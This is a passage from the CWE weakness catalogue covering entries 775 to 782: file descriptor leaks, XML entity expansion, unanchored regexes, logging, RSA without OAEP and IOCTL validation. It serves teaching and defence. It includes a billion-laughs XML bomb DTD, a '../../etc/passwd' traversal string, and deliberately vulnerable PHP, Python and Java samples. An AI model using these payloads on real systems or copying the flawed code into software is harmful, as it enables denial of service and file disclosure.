The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		772	Missing Release of Resource after Effective Lifetime	1632

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	987

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</i>	

Potential Mitigations

Phase: Operation

Phase: Architecture and Design

Strategy = Resource Limitation





Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, `setrlimit()` can be used to set limits for certain types of resources, and `getrlimit()` can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans. https://www.cve.org/CVERecord?id=CVE-2007-0897

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		982	SFP Secondary Cluster: Failure to Release Resource	888	2431
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2480
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Weakness ID : 776

Structure : Simple

Abstraction : Base

Description

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.




Extended Description

If the DTD contains a large number of nested or recursive entities, this can lead to explosive growth of data when parsed, causing a denial of service.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	993
ChildOf		674	Uncontrolled Recursion	1493
CanFollow		827	Improper Control of Document Type Definition	1745

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		674	Uncontrolled Recursion	1493

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2330

Applicable Platforms

Language : XML (Prevalence = Undetermined)

Alternate Terms

XEE : XEE is the acronym commonly used for XML Entity Expansion.

Billion Laughs Attack :

XML Bomb : While the "XML Bomb" term was used in the early years of knowledge of this issue, the XEE term seems to be more commonly used.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) <i>If parsed, recursive entity references allow the attacker to expand data exponentially, quickly consuming all system resources.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Operation

If possible, prohibit the use of DTDs or use an XML parser that limits the expansion of recursive DTD entities.

Phase: Implementation

Before parsing XML files with associated DTDs, scan for recursive entity declarations and do not continue parsing potentially explosive content.

Demonstrative Examples

Example 1:

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0 . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1 . Ultimately, we reach entity THIRTYTWO, which will expand to 2^{32} characters in length, or 4 GB, probably consuming far more data than expected.

Example Language: XML

(Attack)

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

Reference	Description
CVE-2008-3281	XEE in XML-parsing library. https://www.cve.org/CVERecord?id=CVE-2008-3281
CVE-2011-3288	XML bomb / XEE in enterprise communication product.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2011-3288
CVE-2011-1755	"Billion laughs" attack in XMPP server daemon. https://www.cve.org/CVERecord?id=CVE-2011-1755
CVE-2009-1955	XML bomb in web server module https://www.cve.org/CVERecord?id=CVE-2009-1955
CVE-2003-1564	Parsing library allows XML bomb https://www.cve.org/CVERecord?id=CVE-2003-1564

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)	1026	2458
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2514
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	44		XML Entity Expansion

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
197	Exponential Data Expansion

References

[REF-676]Amit Klein. "Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD". 2002 December 6. < <https://seclists.org/fulldisclosure/2002/Dec/229> >.2023-04-07.

[REF-677]Rami Jaamour. "XML security: Preventing XML bombs". 2006 February 2. < http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&psrc=CLT_92# >.

[REF-678]Didier Stevens. "Dismantling an XML-Bomb". 2008 September 3. < <https://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/> >.2023-04-07.

[REF-679]Robert Auger. "XML Entity Expansion". < <http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion> >.2023-04-07.

[REF-680]Elliott Rusty Harold. "Tip: Configure SAX parsers for secure processing". 2005 May 7. < <https://web.archive.org/web/20101005080451/http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html> >.2023-04-07.

[REF-500]Bryan Sullivan. "XML Denial of Service Attacks and Defenses". 2009 September. < <https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses> >.2023-04-07.

[REF-682]Blaise Doughan. "Preventing Entity Expansion Attacks in JAXB". 2011 March 1. < <http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html> >.2023-04-07.

CWE-777: Regular Expression without Anchors

Weakness ID : 777

Structure : Simple

Abstraction : Variant

Description

The product uses a regular expression to perform neutralization, but the regular expression is not anchored and may allow malicious or malformed data to slip through.

Extended Description

When performing tasks such as validating against a set of allowed inputs (allowlist), data is examined and possibly modified to ensure that it is well-formed and adheres to a list of safe values. If the regular expression is not anchored, malicious or malformed data may be included before or after any string matching the regular expression. The type of malicious data that is allowed will depend on the context of the application and which anchors are omitted from the regular expression.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		625	Permissive Regular Expression	1400

Background Details

Regular expressions are typically used to match a pattern of text. Anchors are used in regular expressions to specify where the pattern should match: at the beginning, the end, or both (the whole input).

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability Confidentiality Access Control	Bypass Protection Mechanism <i>An unanchored regular expression in the context of an allowlist will possibly result in a protection mechanism failure, allowing malicious or malformed data to enter trusted regions of the program. The specific consequences will depend on what functionality the allowlist was protecting.</i>	

Potential Mitigations

Phase: Implementation

Be sure to understand both what will be matched and what will not be matched by a regular expression. Anchoring the ends of the expression will allow the programmer to define an allowlist strictly limited to what is matched by the text in the regular expression. If you are using a package that only matches one line by default, ensure that you can match multi-line inputs if necessary.

Demonstrative Examples

Example 1:

Consider a web application that supports multiple languages. It selects messages for an appropriate language by using the lang parameter.

Example Language: PHP

(Bad)

```
$dir = "/home/cwe/languages";
$lang = $_GET['lang'];
if (preg_match("/[A-Za-z0-9]+/", $lang)) {
    include("$dir/$lang");
}
else {
    echo "You shall not pass!\n";
}
```

The previous code attempts to match only alphanumeric values so that language values such as "english" and "french" are valid while also protecting against path traversal, CWE-22. However, the regular expression anchors are omitted, so any text containing at least one alphanumeric character will now pass the validation step. For example, the attack string below will match the regular expression.

Example Language:

(Attack)

```
../../etc/passwd
```

If the attacker can inject code sequences into a file, such as the web server's HTTP request log, then the attacker may be able to redirect the lang parameter to the log file and execute arbitrary code.

Example 2:

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

Example Language: Python

(Bad)

```
import subprocess
import re
def validate_ip_regex(ip: str):
    ip_validator = re.compile(r"((25[0-5])|(2[0-4]|1\d|[1-9])\d)\.?\b){4}")
    if ip_validator.match(ip):
        return ip
    else:
        raise ValueError("IP address does not match valid pattern.")
def run_ping_regex(ip: str):
    validated = validate_ip_regex(ip)
    # The ping command treats zero-prepended IP addresses as octal
    result = subprocess.call(["ping", validated])
    print(result)
```

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or \$ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

Observed Examples

Reference	Description
CVE-2022-30034	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390). https://www.cve.org/CVERecord?id=CVE-2022-30034

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1397	Comprehensive Categorization: Comparison	1400	2544

CWE-778: Insufficient Logging

Weakness ID : 778

Structure : Simple

Abstraction : Base

Description

When a security-critical event occurs, the product either does not record the event or omits important details about the event when logging it.

Extended Description



When security-critical events are not logged properly, such as a failed login attempt, this can make malicious behavior more difficult to detect and may hinder forensic analysis after an attack succeeds.

As organizations adopt cloud storage resources, these technologies often require configuration changes to enable detailed logging information, since detailed logging can incur additional costs. This could lead to telemetry gaps in critical audit logs. For example, in Azure, the default value for logging is disabled.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		693	Protection Mechanism Failure	1529
ChildOf		223	Omission of Security-relevant Information	566

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2496

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Cloud Computing (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities <i>If security critical information is not recorded, there will be no trail for forensic analysis and discovering the cause of problems or the source of attacks may become more difficult or impossible.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use a centralized logging mechanism that supports multiple levels of detail.

Phase: Implementation

Ensure that all security-related successes and failures can be logged. When storing data in the cloud (e.g., AWS S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to enable and capture detailed logging information.

Phase: Operation

Be sure to set the level of logging appropriately in a production environment. Sufficient data should be logged to enable system administrators to detect attacks, diagnose errors, and recover from attacks. At the same time, logging too much data (CWE-779) can cause the same problems, including unexpected costs when using a cloud environment.

Phase: Operation

To enable storage logging using Azure's Portal, navigate to the name of the Storage Account, locate Monitoring (CLASSIC) section, and select Diagnostic settings (classic). For each of the various properties (blob, file, table, queue), ensure the status is properly set for the desired logging data. If using PowerShell, the `Set-AzStorageServiceLoggingProperty` command could be called using appropriate `-ServiceType`, `-LoggingOperations`, and `-RetentionDays` arguments.

Demonstrative Examples

Example 1:

The example below shows a configuration for the service security audit feature in the Windows Communication Foundation (WCF).

Example Language: XML

(Bad)

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="None"
          messageAuthenticationAuditLevel="None" />
      ...
```

```
</system.serviceModel>
```

The previous configuration file has effectively disabled the recording of security-critical events, which would force the administrator to look to other sources during debug or recovery efforts.

Logging failed authentication attempts can warn administrators of potential brute force attacks. Similarly, logging successful authentication events can provide a useful audit trail when a legitimate account is compromised. The following configuration shows appropriate settings, assuming that the site does not have excessive traffic, which could fill the logs if there are a large number of success or failure events (CWE-779).

Example Language: XML

(Good)

```
<system.serviceModel>
  <behaviors>
    <serviceBehaviors>
      <behavior name="NewBehavior">
        <serviceSecurityAudit auditLogLocation="Default"
          suppressAuditFailure="false"
          serviceAuthorizationAuditLevel="SuccessAndFailure"
          messageAuthenticationAuditLevel="SuccessAndFailure" />
      </behavior>
    </serviceBehaviors>
  </behaviors>
</system.serviceModel>
```

Example 2:

In the following Java example the code attempts to authenticate the user. If the login fails a retry is made. Proper restrictions on the number of login attempts are of course part of the retry functionality. Unfortunately, the failed login is not recorded and there would be no record of an adversary attempting to brute force the program.

Example Language: Java

(Bad)

```
if LoginUser(){
    // Login successful
    RunProgram();
} else {
    // Login unsuccessful
    LoginRetry();
}
```

It is recommended to log the failed login action. Note that unneutralized usernames should not be part of the log message, and passwords should never be part of the log message.

Example Language: Java

(Good)

```
if LoginUser(){
    // Login successful
    log.warn("Login by user successful.");
    RunProgram();
} else {
    // Login unsuccessful
    log.warn("Login attempt by user failed, trying again.");
    LoginRetry();
}
```

Example 3:

Consider this command for updating Azure's Storage Logging for Blob service, adapted from [REF-1307]:

Example Language: Shell

(Bad)

```
az storage logging update --account-name --account-key --services b --log d --retention 90
```

The "--log d" portion of the command says to log deletes. However, the argument does not include the logging of writes and reads. Adding the "rw" arguments to the -log parameter will fix the issue:

Example Language: Shell

(Good)

```
az storage logging update --account-name --account-key --services b --log rwd --retention 90
```

To enable Azure's storage analytic logs programmatically using PowerShell:

Example Language: Shell

(Good)

```
Set-AzStorageServiceLoggingProperty -ServiceType Queue -LoggingOperations read,write,delete -RetentionDays 5 -
Context $MyContextObject
```

Notice that here, the retention has been limited to 5 days.

Observed Examples

Reference	Description
CVE-2008-4315	server does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected https://www.cve.org/CVERecord?id=CVE-2008-4315
CVE-2008-1203	admin interface does not log failed authentication attempts, making it easier for attackers to perform brute force password guessing without being detected https://www.cve.org/CVERecord?id=CVE-2008-1203
CVE-2007-3730	default configuration for POP server does not log source IP or username for login attempts https://www.cve.org/CVERecord?id=CVE-2007-3730
CVE-2007-1225	proxy does not log requests without "http://" in the URL, allowing web surfers to access restricted web content without detection https://www.cve.org/CVERecord?id=CVE-2007-1225
CVE-2003-1566	web server does not log requests for a non-standard request type https://www.cve.org/CVERecord?id=CVE-2003-1566

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	2460
MemberOf		1308	CISQ Quality Measures - Security	1305	2506
MemberOf		1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2517
MemberOf		1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2563

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

[REF-1308]Microsoft. "Enable and manage Azure Storage Analytics logs (classic)". 2023 January 3. < <https://learn.microsoft.com/en-us/azure/storage/common/manage-storage-analytics-logs> >.2023-01-24.

CWE-779: Logging of Excessive Data

Weakness ID : 779

Structure : Simple

Abstraction : Base

Description

The product logs too much information, making log files hard to process and possibly hindering recovery efforts or forensic analysis after an attack.

Extended Description

While logging is a good practice in general, and very high levels of logging are appropriate for debugging stages of development, too much logging in a production environment might hinder a system administrator's ability to detect anomalous conditions. This can provide cover for an attacker while attempting to penetrate a system, clutter the audit trail for forensic analysis, or make it more difficult to debug problems in a production environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	971

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2496

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Other) <i>Log files can become so large that they consume excessive resources, such as disk and CPU, which can hinder the performance of the system.</i>	
Non-Repudiation	Hide Activities	

Scope	Impact	Likelihood
	<i>Logging too much information can make the log files of less use to forensics analysts and developers when trying to diagnose a problem or recover from an attack.</i>	
Non-Repudiation	Hide Activities	
	<i>If system administrators are unable to effectively process log files, attempted attacks may go undetected, possibly leading to eventual system compromise.</i>	

Potential Mitigations

Phase: Architecture and Design

Suppress large numbers of duplicate log messages and replace them with periodic summaries. For example, syslog may include an entry that states "last message repeated X times" when recording repeated events.

Phase: Architecture and Design

Support a maximum size for the log file that can be controlled by the administrator. If the maximum size is reached, the admin should be notified. Also, consider reducing functionality of the product. This may result in a denial-of-service to legitimate product users, but it will prevent the product from adversely impacting the entire system.

Phase: Implementation


Adjust configurations appropriately when the product is transitioned from a debug state to production.

Observed Examples

Reference	Description
CVE-2007-0421	server records a large amount of data to the server log when it receives malformed headers https://www.cve.org/CVERecord?id=CVE-2007-0421
CVE-2002-1154	chain: application does not restrict access to front-end for updates, which allows attacker to fill the error log https://www.cve.org/CVERecord?id=CVE-2002-1154

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
ISA/IEC 62443	Part 3-3		Req SR 7.2
ISA/IEC 62443	Part 4-1		Req SD-1
ISA/IEC 62443	Part 4-1		Req SVV-3
ISA/IEC 62443	Part 4-2		Req CR 7.2

CWE-780: Use of RSA Algorithm without OAEP

Weakness ID : 780

Structure : Simple

Abstraction : Variant

Description

The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.

Extended Description

Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	806

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2449

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The example below attempts to build an RSA cipher.

Example Language: Java

(Bad)

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
    }
}
```

```
catch (java.security.NoSuchAlgorithmException e) {
    log("this should never happen", e);
}
catch (javax.crypto.NoSuchPaddingException e) {
    log("this should never happen", e);
}
return rsa;
}
```

While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.



Example Language: Java

(Good)

```
public Cipher getRSACipher() {
    Cipher rsa = null;
    try {
        rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");
    }
    catch (java.security.NoSuchAlgorithmException e) {
        log("this should never happen", e);
    }
    catch (javax.crypto.NoSuchPaddingException e) {
        log("this should never happen", e);
    }
    return rsa;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2509
MemberOf		1402	Comprehensive Categorization: Encryption	1400	2548

Notes

Maintenance

This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.

References

[REF-694]Ronald L. Rivest and Burt Kaliski. "RSA Problem". 2003 December 0. < <http://people.csail.mit.edu/rivest/RivestKaliski-RSAPProblem.pdf> >.

[REF-695]"Optimal Asymmetric Encryption Padding". 2009 July 8. Wikipedia. < https://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding >.2023-04-07.

CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code

Weakness ID : 781

Structure : Simple

Abstraction : Variant

Description

The product defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.




Extended Description

When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1285	Improper Validation of Specified Index, Position, or Offset in Input	2144
CanFollow		782	Exposed IOCTL with Insufficient Access Control	1657
CanPrecede		822	Untrusted Pointer Dereference	1732

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Operating_System : Windows NT (Prevalence = Sometimes)

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Availability	Read Memory	
Confidentiality	Execute Unauthorized Code or Commands	
	DoS: Crash, Exit, or Restart	
	<i>An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.</i>	

Potential Mitigations

Phase: Implementation

If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.

Phase: Architecture and Design

If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.

Phase: Architecture and Design

Phase: Implementation


If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.

Observed Examples

Reference	Description
CVE-2006-2373	Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code. https://www.cve.org/CVERecord?id=CVE-2006-2373
CVE-2009-0686	Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges. https://www.cve.org/CVERecord?id=CVE-2009-0686
CVE-2009-0824	DVD software allows attackers to cause a crash. https://www.cve.org/CVERecord?id=CVE-2009-0824
CVE-2008-5724	Personal firewall allows attackers to gain SYSTEM privileges. https://www.cve.org/CVERecord?id=CVE-2008-5724
CVE-2007-5756	chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. https://www.cve.org/CVERecord?id=CVE-2007-5756

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1406	Comprehensive Categorization: Improper Input Validation		1400 2552

Notes

Applicable Platform

Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.

Research Gap

While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness. Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.

References

- [REF-696]Ruben Santamarta. "Exploiting Common Flaws in Drivers". 2007 July 1. < http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1 >.
- [REF-697]Yuriy Bulygin. "Remote and Local Exploitation of Network Drivers". 2007 August 1. < <https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf> >.
- [REF-698]Anibal Sacco. "Windows driver vulnerabilities: the METHOD_NEITHER odyssey". 2008 October. < <http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf> >.
- [REF-699]Microsoft. "Buffer Descriptions for I/O Control Codes". < <https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/buffer-descriptions-for-i-o-control-codes> >.2023-04-07.

[REF-700]Microsoft. "Using Neither Buffered Nor Direct I/O". < <https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-neither-buffered-nor-direct-i-o> >.2023-04-07.

[REF-701]Microsoft. "Securing Device Objects". < <https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/controlling-device-access> >.2023-04-07.

[REF-702]Piotr Bania. "Exploiting Windows Device Drivers". < <https://www.piotrbania.com/all/articles/ewdd.pdf> >.2023-04-07.

CWE-782: Exposed IOCTL with Insufficient Access Control

Weakness ID : 782

Structure : Simple

Abstraction : Variant

Description

The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.

Extended Description



When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.

